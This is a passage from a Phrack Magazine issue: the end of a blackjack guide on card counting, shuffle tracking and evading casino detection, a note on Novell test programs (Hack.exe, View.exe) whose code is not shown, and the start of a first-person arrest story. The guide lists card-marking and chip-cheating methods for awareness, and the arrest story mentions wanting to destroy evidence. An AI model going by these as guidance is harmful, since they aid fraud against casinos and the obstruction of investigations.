at the end of a hand of ten cards dealt to 2 players and the dealer, the point
count is minus two. This provides you with the knowledge that your are at a
slight disadvantage. Your next bet should either be the same or a unit or two
lower.
From this example you see that it would be easier to count cards if you
play in a "cards-up" game. That way you can see all the cards as they are
dealt and count them as they go by. When the dealer deals fast, just count
every two cards. You still count each card but you only add to your total
count after every two cards since many times the two values will cancel each
other out to give a net value of zero, which doesn't need to be added to your
total. If you play in a cards-down game, you may want to consider playing at
third base. The reason being is that in a cards-down game you only see the
other players' cards:
a) if you peek at their hand (not polite but it's not cheating like in poker)
b) if a player busts
c) when the dealer settles each players' hand.
When there are other people at a table, all this happens rather quickly and
you may miss a few cards here and there which essentially invalidates your
count. You can't control how fast the dealer deals, but you can slow things
down when the dealer prompts you for a play decision.
I am not going to discuss changing basic strategy here. The chart you
memorize in Basic Strategy section of this file will be fine for now. If you
are already adept at the plus/minus count then find a book that has a complete
system including the appropriate changes to Basic Strategy that reflect the
current running and/or true count.
For one deck, alter your wager according to the following table:
BET UNITS +/- Running Count
-----------------------------
1 +1 or less
2 +2 or +3
3 +4 or +5
4 +6 or +7
5 +8 or more
Example: After the first hand of a one deck game, the point count is plus
four and you just bet a $5.00 chip. Before the next hand is dealt, wager
$15.00 (three units of $5.00) as the above table mandates.
What if there are four, six, or more decks instead of just one? I recommend
that you perform a "true-count" rather than trying to remember different
betting strategies for different number of deck games. By doing a true count,
the above table can still be used.
The True Count is found by the ensuing equation. I provide an example along
with it for the case of having a running count of +9 with one and a half decks
left unplayed. It doesn't matter how many decks are used, you just have to have
a good eye at guesstimating the number of decks that are left in the shoe. I
just measured the thickness of a deck of cards to be 5/8 (10/16) of an inch.
Hence the thickness of a half deck is 5/16 of an inch. One and a half decks
would be 10/16 + 10/16 + 5/16 = 25/16 or a little over an inch and a half. You
probably see a relationship here. The number of decks is approximately equal
to the height of the cards in inches. Easy.
Running Count +9
True Count = ---------------------- = ----- = +6
# of Decks Remaining 1.5
Looking at the table of betting units above, the proper wager would be four
units.
If you have trouble keeping the count straight in your head, you can use
your chips as a memory storage device. After every hand tally up the net count
and update the running or true count by rearranging your chips. This is
somewhat conspicuous however, and if done blatantly, may get you labeled a
counter.
If for some reason you despise the notion of counting cards, you may want
to pick up Reference [11], "Winning Without Counting". The author writes about
using kinesics (body language) to help determine what the dealers' hole card
is after checking for a Natural. He claims that certain dealers have certain
habits as far as body language is concerned, especially when they check to see
if they have a BlackJack. The dealer will check the hole card if he/she has a
ten value card or an Ace as the up-card. When the hand is over you will see
what the hole card really was. You may be able to discern a certain
characteristic about the dealer, such as a raising of the eyebrows whenever
the hole card is a 2-9 or perhaps a slight frown, etc. There is some
usefulness to this method but I wouldn't rely on it very much at all. I have
only used it for one particular situation. That being when the dealer has a
ten up card and checks to see if the hole card is an Ace. Note that many
dealers check the hole card very quickly and turn up just the corner of the
card so as to prevent any of the players from seeing the card. If the hole
card is an Ace, the dealer will turn over the card and declare a BlackJack.
However, if the hole card is a 4, many times the dealer will double check it.
The reason for this double take is simply that a 4 looks like an Ace from the
corner, get a deck of cards and see for yourself. A 4 really looks like an Ace
and vice-versa when the corner is checked in a QUICK motion. So, if you see
the dealer double check the hole card and NOT declare a BlackJack, you can be
fairly sure the hold card is a four, giving the dealer a total of 14. You can
now adjust your basic strategy play accordingly. This situation has only come
up a few times in my case, but once was when I had a $50.00 bet riding on the
hand and I won the hand by using that additional information. Dr. Julian Braun
has previously calculated that the player has about a 10% advantage over the
house should he/she know what the dealer's hole card is. This is quite
substantial. Of course you have to memorize a specific Basic Strategy chart
for the case of knowing what the dealers' total is in order to obtain the
maximum benefit. I haven't bothered memorizing this chart simply because it is
a rare occurrence to know what the dealers' hole card is. If you sit down at a
table with an inexperienced dealer, you might catch a couple more than usual,
but I don't think it is enough to warrant the extra work unless you want to
turn pro.
Another thing Winning Without Counting mentions is to pay attention to the
arches and warps in the cards. Perhaps a lot of the ten value cards have a
particular warp in them due to all those times the dealer checked for a
BlackJack. The author claims that he has used this to his advantage. Maybe so,
but I don't put much stock in this technique. I have enough things to worry
about while playing.
One last thing. There is no law or rule that says a dealer cannot count
cards. A dealer may count cards because he or she is bored but more likely is
that the casino may encourage counting. The reason being that if the deck is
favorable to the player, the house can know this and "shuffle up". This is
also called preferential shuffling (a game control measure) and it vaporizes
your advantage.
Shuffle Tracking:
-----------------
Shuffle What? Shuffle Tracking. This is a fairly new (15 years +/-)
technique that has not been publicized very much. One problem with many of the
BlackJack books out there is that they are not hip to the current game. The
obvious reason for this is that many are old or simply re-formulate strategies
that were invented decades ago. It's just like reading "How to Hack the Primos
Version 18 Operating System" today. The file may be interesting, many of the
commands may be the same, but it doesn't detail how to take advantage of, and
subvert the CURRENT version of the OS.
The best definition I have seen is this one quoted from Reference [5]:
"'Shuffle-tracking' is the science of following specific cards through the
shuffling process for the purpose of either keeping them in play or cutting
them out of play." The concept of Shuffle tracking appears to have resulted
from bored mathematician's research and computer simulation of shuffling
cards, a familiar theme to BlackJack you say. The main thing that I hope every
reader gets from this section is that just because someone shuffles a deck (or
decks) of cards does not in any way mean that the cards are "randomized". The
methods mentioned in the two previous sections (Basic Strategy and Card
Counting) ASSUME A RANDOM DISTRIBUTION OF CARDS! That is an important point.
According to some authors, a single deck of cards must be shuffled twenty to
thirty times to ensure a truly random dispersion. If a Casino is using a 6
deck shoe, that's 120 to 180 shuffles! Obviously they aren't going to shuffle
anywhere near that many times. But don't despair, there are some types of
shuffles which are good, and some that are bad. In fact, if the cards were
always randomly disbursed, then you would not be reading this section due to
it's lack of relevance. As in the Card Counting section, I am going to
restrict the discussion to the basics of shuffle tracking as the combination
of references listed at the end of this section provide a complete discourse of
the topic.
A beneficial (to the player) shuffle for a one deck game is executed by
dividing the deck equally into 26 cards and shuffling them together a minimum
of three times. This allows the cards to be sufficiently intermixed to yield a
fairly random distribution. An adverse shuffle prevents the cards from mixing
completely.
The simplest example is the Unbalanced Shuffle. As its name implies, the
dealer breaks the deck into two unequal stacks. As an example, lets say you
are playing two hands head on with the dealer and the last 10 cards in the
deck are dealt. The result of the hand was that both your hands lost to the
dealer primarily due to the high percentage of low value cards in the clump.
Note that if you were counting, you would have bet a single unit since the
deck was unfavorable. The dealer is now ready to shuffle the deck, and
separates the deck into 31 cards in one stack and 21 in the other stack. The
dealer shuffles the two stacks. If the shuffle is done from the bottom of each
stack on up, the top ten cards of the larger stack will remain intact without
mixing with any of the other cards. Those ten cards can remain in the order
they were just dealt throughout the shuffle if the process of bottom to top
shuffling is not altered. You are now asked to cut the deck. If you don't cut
the deck, the 10 cards that were dealt last hand will be dealt as your first
two hands. The result will be the same as your last and you will lose the two
hands. However, if you cut the deck exactly at the end of those ten cards, you
have just altered the future to your benefit. Those cards will now be placed at
the bottom of the deck. Should the dealer shuffle up early, you will avoid them
altogether. In addition, if you were keeping count, you would know that the
deck was favorable during the first 3-4 hands since there would be an abundance
of tens in the portion of the deck that will be played. You would accordingly
increase you bet size to maximize your winnings.
Some dealers will unknowingly split the deck into unequal stacks. However,
more often than not, they are REQUIRED to split the deck into unequal stacks.
If they are required to do this, they are performing the House Shuffle. The
casino has trained the dealer to shuffle a particular way...on purpose! Why?
Because in the long run, the house will benefit from this because most players
will not cut any bad clumps out of play. If you have played BlackJack in a
casino, how much did you pay attention to the way they shuffled? Like most
people you were probably oblivious to it, perhaps you figured that during the
shuffle would be a good time to ask that hot waitress for another drink.
Regardless, you now see that it may be a good idea to pay attention during the
shuffle instead of that set of "big breastseses" as David Allen Grier says on
the "In Living Color" TV show ;)-8-<
There are a number of shuffle methods, some of which have been labeled as:
the "Zone Shuffle", the "Strip Shuffle", and the "Stutter Shuffle". The Zone
Shuffle is particular to shoe games (multiple deck games) and is probably one
of the most common shuffle methods which is why I mention it here. It is
accomplished by splitting the shoe into 4 to 8 piles depending on the number
of decks in the shoe. Prescribed picks from each pile are made in a very exact
way with intermittent shuffles of each pair of half deck sized stacks. The net
effect is a simple regrouping of the cards pretty much in the same region of
the shoe as they were before, thereby preventing clumps of cards from being
randomly mixed. If the dealer won 40 hands and you won 20, this trend is
likely to continue until you are broke or until the unfavorable bias is
removed through many shuffles.
What if the players are winning the 40 hands and the dealer only 20? If the
dealer has been mentally keeping track of how many hands each side has won in
the shoe, the dealer will probably do one of two things. One is to keep the
shuffle the same, but 'strip' the deck. When a dealer strips a deck, he/she
strips off one card at a time from the shoe letting them fall on top of one
another onto the table. This action causes the order of the cards to be
reversed. The main consequence is to dissipate any clumping advantages (a bunch
of tens in a clump) that the players may have. The second thing the dealer may
do is simply change the way they shuffle to help randomize the cards.
I personally believe that casinos use certain shuffles on purpose for the
sole reason that they gain some sort of advantage. A BlackJack dealer friend
of mine disputes the whole theory of card clumping and shuffle tracking
though. The mathematics and simulation prove the non-random nature of certain
shuffles under controlled conditions. Perhaps in an actual casino environment
the effect isn't as high. Regardless, next time you are playing in a casino
and its time to shuffle a shoe, ask the dealer to CHANGE they WAY he/she
shuffles. The answer will nearly always be NO. Try to appeal to the pit boss
and he/she will probably mumble something about casino policy. Why are they
afraid to change the shuffle?
Relevant Reading: [4], [5] Chapters 5 and 6 pages 71 to 98, [14] pages 463
to 466, and [15] which is very detailed and accessible via Internet FTP.
Casino Security and Surveillance:
--------------------------------
I figured this section might get some people's attention. It is important
to know what the casino is capable of as far as detecting cheating (by
employees and customers) and spotting card counters.
EYE IN THE SKY: A two way mirror in the ceiling of the casino. It's not hard
to spot in older casinos as it usually is very long. Before 1973 or so,
employees traversed catwalks in the ceiling and it was easy for dealers and
players to hear when they were being watched. Sometimes dust from the ceiling
would settle down onto a table when someone was above it. Newer casinos use
those big dark plexiglass bubbles with video camera's which should be watched
constantly. These cameras have awesome Z00M capabilities and according to
Reference [9], the cameras can read the word "liberty" on a penny placed on a
BlackJack table. I am sure the resolution is better than that for the latest
equipment. The video images are also taped for use as evidence should anything
that is suspect be detected. Just like computer security audit logs, if no one
pays attention to them, they don't do much good. If you want a job monitoring
gamblers and casino employees, you need to train for about 500 hours (about
twenty 40 hour weeks) to learn all the tricks people try to pull on you.
Pretty intensive program wouldn't you say?
CASINO EMPLOYEES: Then there are the casino employees. The dealers watch the
players, the floor men watch the dealers and the players, the pitbosses watch
the dealers, the floormen, and the players, etc. There may be plain clothes
detectives roaming about. In a casino, everyone is suspect.
BLACK BOOK: A company that you will see mentioned in a lot of casino books is
Griffin Investigations. They periodically update a book that casino's
subscribe to that have pictures and related info on barred card counters and
known casino cheats.....I suppose the "black book" as it is called, is
analogous to the "Bell security hit-lists", that had (have?) files on known
phreaks and hackers.
Social Engineering the Casino:
------------------------------
If you are good at getting an ESS operator to enter NET-LINE on DN COE-XXXX,
and at getting those "Engineering Resistant Hard Asses up at SNET (Southern
New England Telephone)" [as The Marauder affectionately calls them] to give
you the new CRSAB number; then this section will be a piece of cake for you
to master.
References [3], [7], and [8] have many stories regarding playing in
casinos, getting barred, and various exploits. I am not going to repeat any of
them here. In each of those books, the authors talk about their first
experiences getting barred. In each case they were fairly bewildered as to why
they were kicked out, at least until some casino employee or owner told them
things like "you're just too good" and the ever diplomatic: "we know your
kind, get the hell out!".
As you probably have gathered thus far, card counters are as undesirable in
a casino as a phone phreak is in a central office. There are a number of
behavioral characteristics which have been attributed to the 'typical' card
counter. Probably the most obvious act of a counter is a large increase in bet
size. If you recall in the Card Counting section, when the deck is favorable,
you bet more. When the deck is unfavorable, you bet less. Dr. Thorp's original
system required a variation in bet size from one to ten units. When the deck
is favorable the system may dictate that you go from a ten dollar bet to a
hundred dollar bet. Kind of gets the attention of the dealer and the pit boss.
However, this type of wild wagering is typical of big money hunch bettors.
Hunch betters will just plop down a bunch of chips at random due to 'hunches'.
Therefore, a large increase in bet size won't necessarily cause you to be
pegged as a counter.
Intense concentration, never taking your eyes off the cards, lack of
emotion...ie, playing like a computer, is pretty much a give away that you are
counting. Other things such as 'acting suspicious', meticulously stacking your
chips, betting in discernable patterns, and a devout abstention from alcohol
may also attract unwanted attention.
Another criteria used for spotting counters is if there are two or more
people playing in concert with one another. Ken Uston is famous for his
BlackJack teams. They have literally won millions of dollars collectively.
When the "Team-LOD" gets together to play, we have to pretend we don't know
each other so as not to attract undue attention ;-)
What I mean by Social Engineering the casino is to list ways that trick the
casino into thinking you are just a dumb tourist who is throwing money away.
Look around, smile, act unconcerned about your bet, don't be afraid to talk to
the dealer, floorperson, or pit boss. Don't play 8 hours straight. Perhaps
order a drink. Things of this nature will help deflect suspicion.
I only recall attracting attention once. The casino wasn't very busy, there
were 3 people at the table including myself. I only had about an hour to play
so I bet aggressively. I started with $5 and $10 but made some $50.00 bets
whenever I got a feeling that I was going to win the next hand (quite the
scientific strategy I know). A woman next to me who seemed to be a fairly
seasoned player made a comment that I was a little too aggressive. The pit boss
hovered about the table. My hour was nearly up, I bet $10.00 for the dealer and
$50.00 for myself. I lost the hand leaving me only $100.00 ahead, and left. The
only thing I could think of besides the betting spread which really wasn't a
big deal was that the casino was FREEZING inside. I was shivering like hell,
it probably looked like I was shaking out of fear of being spotted as a
counter or worse...a cheater.
So what if a casino thinks you are counter? To be honest, there have
probably been less than 1000 people who have been permanently barred from play
(ie, they have their mugs in the black book). A far greater number have been
asked to leave but were not prevented from returning in the future.
Tipping the dealer may not necessarily get the casino off your back but
certainly doesn't hurt. When you toke the dealer, place the chip in the corner
of your betting box a few inches from your bet. You may want to say "we are in
this one together" or some such to make sure they are aware of the tip. This
approach is better than just giving them the chip because their 'fate' is tied
in with yours. If your hand wins, 99 out of 100 times they will take the tip
and the tip's winnings off the table.
The 1 out of 100 that the dealer let the tip+win ride happened to me over
and over again for the better part of a day. It was a week before I had to go
back to college and I was broke, with no money to pay the deposits for rent
and utilities. Basically, if I didn't come up with some money in 7 days, I was
not going back to school. This was 4 years ago BTW. I took out $150 on my
credit card (stupid but hey, I was desperate) and started playing and winning
immediately. I pressed my bets time and time again and in an hour or two had
$500 in front of me (+$350). I started losing a bit so I took a break for a
short while. I went back to a different table with a different dealer. As soon
as I sat down I started winning. I started to tip red chips ($5.00) for the
dealer. The first couple of times he took the $10.00 right away. I kept
winning steadily and continued to toke him. Then he started to let the $10.00
ride! I was amazed because I had never seen that before. That is when I knew I
was HOT. If the dealer is betting on you to win, that says something. When I
stopped playing I cashed in eight black chips. I left with eight one hundred
dollar bills, a net profit of $650.00, just enough to cover everything. Whew!
I probably tipped close to $100.00 that day, and the dealer must have made
double to triple that due to him betting with me. There were a number of times
when the pit boss wasn't close that the dealer would IGNORE my hit or stand
signal. The first time he did this I repeated myself and he did what I asked
but gave me a 'look'. Needless to say, I lost the hand. After that, if he
'thought' I said stand, I didn't argue. This occurred when he had a ten as the
up-card so he knew his total from peeking at the hole card. I am not sure if
this is considered cheating because I did not ask him to do this, nor did we
conspire. It just happened a few times, usually when I had $25-$50 bets on the
line which is when I made sure to throw in a red chip for him.
Casino Cheating and Player Cheating:
------------------------------------
Cheating by the house is rare in the major casinos ie, those located in
Nevada and Atlantic City. The Nevada Gaming Commission may revoke a casino's
gambling license if a casino is caught cheating players. Granted, there may be
a few employees (dealers, boxmen, whomever) that may cheat players, but it is
extremely doubtful any casino in Nevada or Atlantic City does so on a
casino-wide scale. You definitely should be wary of any casino that is not
regulated such as those found on many cruise ships. Because a casino does not
have to answer to any regulatory agency does not mean it is cheating players.
The fact is that casino's make plenty of money legitimately with the built-in
house advantages and don't really need to cheat players to survive. I provide
some cheating methods here merely to make you aware of the scams. These
techniques are still carried out in crooked underground casinos and private
games.
The single deck hand-held BlackJack game is quite a bit more susceptible to
cheating by both the dealer and the player than games dealt from a shoe. The
preferred method of dealer cheating is called the "second deal". As you may
infer, this technique requires the card mechanic to pretend to deal the top
card but instead deals the card that is immediately under the top card.
Imagine if you could draw a low card when you need a low card, and a high card
when you need a high card. You could win large sums of money in a very short
period. Well, a dealer who has the ability to execute the demanding sleight of
hand movements for second dealing can drain even the best BlackJack player's
bankroll in short order.
If someone is going to deal seconds, they must know what the second card is
if he or she is to benefit. One way to determine the second card is by
peeking. A mechanic will distract you by pointing or gesticulating with the
hand that is holding the deck. "Look! There's Gail Thackeray!". While you are
busy looking, the dealer is covertly peeking at the second card. A more risky
method is pegging. A device called a pegger is used to put small indentations
in the cards that the dealer can feel. Pegging all the ten value cards has
obvious benefits.
Another method is the "high-low pickup". I like this one because it's easy
for a novice to do especially in a place where there are a lot of distractions
for the players. After every hand, the dealer picks up the cards in a high-low
alternating order. The mechanic then proceeds with the "false shuffle" in
which the deck is thought to have been shuffled but in reality the cards
remain in the same order as before the shuffle. As you well know by now, a
high-low-high-low arrangement of the cards would be death to the BlackJack
player. Get dealt a ten and then a 5, you have to hit, so get another ten.
Busted. Since the dealer doesn't lose until he/she busts, all the players who
bust before lose. Bottom dealing and switching hole cards are other techniques
that may be used to cheat players.
For shoe games, there is a device called a "holdout shoe" that essentially
second deals for the dealer. Discreet mirrors and prisms may be contained in
the holdout shoe which only allow the dealer to see what card is next.
Shorting a regular shoe of ten cards will obviously have a detrimental effect
on the BlackJack player.
Player cheating isn't recommended. However, I'll quickly list some of the
methods for awareness purposes. The old stand-by of going up to a table,
grabbing some chips, and running like hell is still done but certainly lacks
originality. Marking cards while you play is another popular method. "The
Daub" technique is done by clandestinely applying a substance that leaves an
almost invisible smudge on the card. High value cards like tens are usually
the targets. One scam mentioned in one of the references was the use of a
special paint that was only visible to specially made contact lenses. The
"hold out" method requires the palming of a card and substituting a better
one. This is usually done when there is big money bet on the hand. One of the
risks to these methods is when the deck is changed since the pit boss always
scrutinizes the decks after they are taken out of play.
Other methods entail playing two hands and switching cards from one hand to
the other, counterfeiting cards and/or casino chips, adding chips after a
winning hand (I have seen this done twice, couldn't believe my eyes but
certainly wasn't going to RAT the thieves out). Some dealers may be careless
when looking at their hole card for a BlackJack. A person behind the dealer on
the other side of the pit may be able to discern the card. The value is then
signalled to a player at the table. Astute pit bosses may notice someone who
is not playing that scratches their head too much though. Wireless signalling
devices have been used for various purposes but some casinos have new
electronic detection systems that monitor certain frequencies for activity.
Some Comments Regarding Computer BlackJack Software for PC's:
---------------------------------------------------------------
I strongly recommend that you practice using a BlackJack program of some
kind before going out to play with real cash. The first program I used for
'training' some years ago was "Ken Uston's BlackJack" on my old Apple ][+.
Later I acquired "Beat The House" for the same machine. I recently bought a
program for my IBM and have been using it to refresh my memory regarding basic
strategy, card counting, and money management techniques. I assume you will
recognize the guy's name in the title now that you have read most of this
article. I bought: "Dr. Thorp's Mini BlackJack" by Villa Crespo Software at a
Wal-Mart of all places for a measly $7.88. This is an abridged version
however. Villa Crespo charges $12.95 for it if you order via mail. They also
offer an unabridged version for $29.95 via mail. Villa Crespo (don't ask me
where they got that name) offers other programs for Craps, Video Poker, and
7-Card Stud in case you are interested in those games of chance. By the way,
on the order form I also noticed "FAILSAFE Computer Guardian (Complete
protection and security for your system)" for $59.95. For some reason any time
a piece of paper has the word 'security' on it, my eyes zero in on it....
Some features that I liked about this scaled down version of their
BlackJack program were the TUTOR, which advises you on whether to hit, stand,
take insurance (no way), etc. as per Basic Strategy. The Tutor for the
abridged version does NOT take into consideration the card count when making
recommendations though. If you are counting the cards, the program keeps count
also, so if you lose count you can check it by pressing a function key. The
STATS option is neat since it keeps track of things such as how many hands
were dealt, how many you won/lost, etc. and can be printed out so you can
track your progress. The program allows you to save your current session in
case you get the urge to dial up the Internet to check your email, something
that should be done every hour on the hour....
One thing I did not like about the program was that it allowed you to bet
over your bankroll. I accidentally pushed [F2] (standardized at $500.00 a
bet instead of [F1] (standardized at $5.00 a bet) ---- a slight difference in
wager I'd say. Having only $272.00 in my bankroll didn't stop the program from
executing the command and in my opinion it should have prevented the overdraft.
The first time I played Dr. Thorp's Mini BlackJack, it took me about 95
hands to double my money. I started with $200.00, bet from $5.00 to $25.00,
never dropped below $180.00 which surprised me, and received 3 BlackJacks. I
won 63 hands, and lost 32. I played head on against the dealer, although the
program allows for up to 6 players. I consider that lucky since I had my fair
share of going broke in later sessions.
My advice when using a BlackJack computer program is: do not start with a
bizzillion dollars or anything like that. Start with the amount that you truly
plan to use when you sit down at an actual table. If you play in a crowded
casino, all the low minimum bet tables (ie: $1.00 to $5.00) will most likely be
filled to capacity and only $10.00 or $15.00 tables will have openings. Keep
this in mind because when you make bets with the computer program, you should
wager no less than whatever the minimum will be at the table you sit down at.
If your bankroll is only $200.00 playing at anything more than a $5.00 minimum
table is pushing it.
Another thing to note is that playing at home is kind of like watching
Jeopardy on TV while you are sitting on the couch. People who have been on the
show always say it was much harder than when they blurted out answers during
dinner with their mouths full (the Heimlich maneuver--a real lifesaver!). The
same thing goes for BlackJack. When you are sitting at an actual table, your
adrenaline is flowing, your heart starts to pump faster, you make irrational
plays especially when you start losing, and odds are you will forget things
that were memorized perfectly. There is no substitute for the real thing and
real experience.
Quick Comments on Other Casino Games:
-------------------------------------
A few people suggested I briefly mention some of the other casino games so
I added this section. I don't go into much detail at all as this file is too
unwieldy already. Besides, if you want to know more, I am sure you'll pick up
the appropriate reference. Hundreds of books have been published on gambling
and they are available by contacting [2]. My aim here was to mention details
that most people may not be aware of.
BACCARAT: This is the game you see in movies a lot. See [12]'s FAQ for a good
explanation of this game.
CRAPS: Craps is probably the most complicated casino game as far as the
different ways to bet things are concerned but its really not that hard to
learn. I just want to throw one table at you adapted from Reference [13]. The
table won't make much sense unless you are already familiar with craps. In
case you have forgotten or didn't know, craps is 'that dice game'. The purpose
of presenting it is to save you $$$$$ <-- Still love that dollar sign key! hehe
Lamest Bets at the Craps Table
BET PAYS SHOULD PAY YOUR ADVANTAGE
-------------------------------------------------------
Any-7 4 to 1 5 to 1 -16.7 %
2 (or 12) 30 to 1 35 to 1 -13.9 %
Hard 10 (or 4) 7 to 1 8 to 1 -11.1 %
3 (or 11) 15 to 1 17 to 1 -11.1 %
Any Craps 37 to 1 8 to 1 -11.1 %
Hard 6 (or 8) 9 to 1 10 to 1 -9.1 %
SLOTS: Playing slots is a gamble. Obviously you say. No, I mean its a gamble
to play them. House advantages are almost never displayed on a particular slot
machine. Different machines and different locations may have different casino
win percentages. When you go up to a slot machine, you have no idea if its'
advantage over you is 5% or 25%. Unless you have been watching it, you don't
know if it just paid off a big jackpot either. I don't play slots as a matter
of principle. If you do play I think there are still some $.05 slots in Vegas.
Play the nickel slots and keep your shirt, especially if its an LOD T-shirt.
VIDEO POKER: Reference [13] gives the following advice regarding video poker:
"...don't expect to win. Manage your money so that you limit your losses." I
think its a bit negative but I can't argue with the logic. Also, as with
slots, you may want to play at a machine that is networked with others which
has a progressive payoff. This way at least you have a chance of making the
big bucks in addition to those periodic small payoffs.
VIDEO BLACKJACK: If you like to avoid people and like BlackJack, you may be
thinking that this is a great way for you to "hack two systems with one
password" and make a little money on the side. Before you start putting
quarter or dollar tokens into video BlackJack machines there are a couple of
things to know. First, you can't use card counting techniques because
every hand is essentially dealt from a new deck. When the computer deals a
hand it is just providing 'random' cards. Perhaps if you saw the source code,
you may be able to determine some sort of bias but I suspect it would be
minuscule at best. The rules vary from machine to machine and the maximum
allowable bet varies also. As with the video poker and video slot machines,
the owner of the machine may set the options to their taste (amount of profit).
Selected Bibliography:
----------------------
The following are some references you may want to check out and some of my
sources of information for this article. They are not in any particular order
and the format is far from standard as opposed to my thesis bibliography :)
[1] "BlackJack Forum Newsletter" by RGE Publishing in Oakland California. This
is a quarterly publication which has the location and rule variations info
(among other things) for casinos in the state of Nevada.
[2] The Gamblers Book Club (its really a store) can sell you a sample of the
BlackJack Forum Newsletter for $10.00. They have all kinds of new and out of
print books, used magazines, etc. They are located in Vegas (630 S. 11th St.)
so stop by in person or call 1-800-634-6243 which was valid as of 6/1/93 since
I just gave them a ring...the guy I spoke to was very nice and helpful so I
thought I'd give them a plug here.
[3] "Beat The Dealer" by Dr. Edward O. Thorp. Make sure you get the SECOND
edition (1966) since it has Dr. Julian Braun's additions to the original 1962
edition.
[4] "Gambling Times Magazine" (now defunct), 'BlackJack Bias Part 1 and 2' July
and August 1987 Issues by Mason Malmuth. This magazine was great because it
kept you up to date on the latest in gambling systems and what casinos are up
to. The article is about the author using his PC to perform simulations
regarding the effects of non-random card distribution on BlackJack.
[5] "Break The Dealer" by Jerry L. Patterson and Eddie Olsen, 1986 Perigee
Books. Worth the money for the chapters on Shuffle Tracking alone.
[6] "The Optimum Strategy in BlackJack" by Roger R. Baldwin, Wilbert E.
Cantey, Herbert Maisel, James P. McDermott. Journal of the American
Statistical Association, September 1956. Eight of ten pages are mathematics.
[7] "The World's Greatest BlackJack Book" revised edition (1987) by Dr. Lance
Humble and Dr. Carl Cooper, Doubleday. I am not sure it is THE world's
greatest, but it is an excellent book. It is 400 pages and provides more
details than you probably care to know about the Hi-Opt I counting system.
[8] "Turning the Tables on Las Vegas" by Ian Anderson, 1978. This is an
excellent book if you were interested in The Social Engineering the Casino
section. The author shares a lot of interesting and funny stories that can
keep you from getting barred. Note that 'Ian Anderson' is the authors' handle.
[9] "Las Vegas, Behind the Tables" by Barney Vinson, 1986, Gollehon Press.
Written by a casino executive, I found it to be quite illuminating.
[10] "Gambling Scams" by Darwin Ortiz, 1990, Carrol Publishing. If you play in
any private games, be sure to read this one to avoid getting screwed. It even
has a section on crooked carnival games.
[11] "Winning Without Counting" by Stanford Wong. This book has an interesting
section on 'Dealer Tells' and how to exploit them.
[12] "Rec.Gambling" Internet USENET Newsgroup. The rec.gambling newsgroup is
an excellent free source of current information on BlackJack and other games.
People who have just gotten back from various casinos post about their playing
results and the treatment from casinos. One person just posted that he was
barred from playing BlackJack (a casino employee told him he could play any
game in the casino EXCEPT BlackJack) after he was ahead only $40.00. The
reason apparently was due to his fairly mechanical play and betting. The
rec.gambling FAQ was message #15912 when I read the newsgroup on 6/8/93. They
plan on posting the FAQ every month or so. I found the FAQ to be very
informative. There is an alt.gambling newsgroup but it is dead with 0
messages.
[13] "The Winner's Guide to Casino Gambling", revised edition by Edwin
Silberstang, 1989 Plume printing. This book covers a wide range of casino
games and has a large list of gambling terms in the back.
[14] "Gambling and Society" edited by William R. Eadington, 1976. This book
provides plenty of information on the psychology of gambling. I found the
section on 'Who Wants to be a Professional Gambler?' interesting as the study
indicates the types of vocations that show high correlations with being a
professional gambler. One of those vocations with an 'extremely high
correlation' was being a Secret Service agent. Maybe Agent Foley will change
jobs.....he can't do much worse, ahem. Chapter 24 by James N. Hanson is
entitled "Nonlinear Programming Simulation and Gambling Theory Applied to
BlackJack" which some of you programmers might be interested in.
[15] "The BlackJack Shuffle-Tracking Treatise" by Michael R. Hall accessible
via the Internet by anonymous FTP: soda.berkeley.edu in the
pub/rec.gambling/blackjack directory. This is a very detailed 78K file that
was well done. It provides plenty of the nitty-gritty details that I did not
have the space to mention in this article. I highly recommend it.
[16] "Risk of Ruin" by Michael R. Hall available from same source as [15]
above. This paper provides some mathematical formulas for helping you
determine the likelihood of losing portions of your starting bankroll.
Although the equations look complicated, anyone with a $10. scientific
calculator can use them. The author provides source code for a program written
in C that calculates the risk formula. Also get his "Optimal Wagering" file
which helps you determine your bet size.
[17] The movie: "Fever Pitch" starring Ryan 'O Niel. This is the most realistic
movie I have seen regarding the psychology of a gambler. If I recall correctly,
it was made in 1985 and is in most video rental stores.
Final Comments:
---------------
Let me quickly thank those who took the hour to read my article, recommended
corrections and offered their insightful comments: The Marauder, Mark Tabas,
Professor Falken, Al Capone, Jester Sluggo, and Bruce Sterling. Also, I would
like to thank JLE, my 'gambling mentor' mentioned earlier even though he
doesn't know me as 'lex' and probably will never see this file.
If anyone has comments, corrections, etc. feel free to email me. Kindly
note that I have no interest in receiving flames from any self professed
BlackJack experts out there as I do not claim to be an expert and due to size
restrictions, I couldn't get all that complicated regarding counting
techniques and such. Besides, anyone who wants to get serious will take the
time to thoroughly read the references listed in the previous section. My main
purpose was to familiarize you with the game of BlackJack and provide a
resource which can point you in the right direction for more in-depth
information. Thank you for your time and I hope you learned something from
this article even if you don't put any of the information to use.
If you have something really SEKRET to tell me, here is my PGP Public Key:
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End of "How To Hack BlackJack": File 2 of 2
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 11 of 27
Help for Verifying Novell Security
Provided By
Phrack Magazine
In nearly a year since their release, the programs Hack.exe and View.exe
are still potential threats to the security of Novell Networks. Despite
Novell's commendable response with a patch for the holes these programs
exposed, many system administrators have not yet implemented the fix.
We at Phrack encourage system administrators to uudecode and execute the
following programs to determine whether or not their servers are at
risk.
The patches, SECUREFX.NLM for Netware 3.11, and SECUREFX.VAP for Netware
2.2 are available via Novell's NetWire, or from ftp.novell.com. Users
with additional questions about Netware security can call Novell
directly at 800-638-9273.
------------------------------------------------------------------------
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------------------------------------------------------------------------
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--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 12 of 27
My Bust
Or,
An Odyssey of Ignorance
(C) 1993 Robert W. F. Clark
[This is a factual account; however, certain innocent parties have
already suffered enough damage to their reputations
without further identification. I have changed their names.
Where I have done so I follow the name with an asterisk [*].
I. _In flagrante delicto_
I am writing this article for the benefit of those who have yet to
become acquainted with the brotherhood of law enforcement, a subculture
as warped and depraved as any criminal organization.
The law enforcement community entered my life in the early part of
December 1989. I am yet to be quit of it. My initial contact with law
enforcement and its quaint customs was one afternoon as I was reading email.
Suddenly, without warning, I heard a voice shout: "Freeze, and get away from
the computer." Nonplussed, but still with some command of my faculties, I
drawled: "So, which do you want me to do?"
The police officer did not answer.
I was in the main public academic computing facility at Penn State,
which was occupied by several startled-looking computer users, who now trained
their eyes on the ensuing drama with all the solicitous concern of Romans
attending an arena event.
The officer, Police Services Officer Anne Rego, then left the room,
and my immediate concern was to kill all processes and
delete all incriminating files, or at least to arrange an accidental
disruption of power. However, before I could do anything, Miss Rego
